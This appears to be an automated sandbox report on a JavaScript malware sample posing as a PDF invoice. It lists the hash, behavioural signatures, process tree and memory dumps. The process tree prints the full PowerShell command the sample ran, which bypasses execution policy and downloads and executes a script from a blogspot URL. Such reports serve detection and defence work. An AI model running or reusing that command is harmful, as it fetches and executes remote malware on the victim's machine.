Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
27/04/2026, 10:31
General
- Target invoice-1645080830.pdf (46).js
- Size 20.4MB
- Sample260427-mktswsby7k
- SHA256 9aeed3d95976b0637a019cab4f766f523264ac6247ba8a4a305ae48628fa544b
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\invoice-1645080830.pdf (46).js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 172⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_n45tij1g.mim.ps1
memory/2304-1-0x00000293B2260000-0x00000293B2270000-memory.dmp
memory/2304-2-0x00000293B2260000-0x00000293B2270000-memory.dmp
memory/2304-3-0x00000293B21C0000-0x00000293B21E2000-memory.dmp
memory/2304-10-0x00000293B2260000-0x00000293B2270000-memory.dmp
memory/2304-11-0x00000293B2260000-0x00000293B2270000-memory.dmp
memory/2304-12-0x00000293B2260000-0x00000293B2270000-memory.dmp
memory/2304-13-0x0000029399BA0000-0x0000029399BAC000-memory.dmp
memory/2304-15-0x00000293B2260000-0x00000293B2270000-memory.dmp
memory/2304-14-0x000002939A140000-0x000002939A152000-memory.dmp
memory/2304-23-0x0000029399BA0000-0x0000029399BAC000-memory.dmp
memory/2400-0-0x0000017761E70000-0x0000017761E7C000-memory.dmp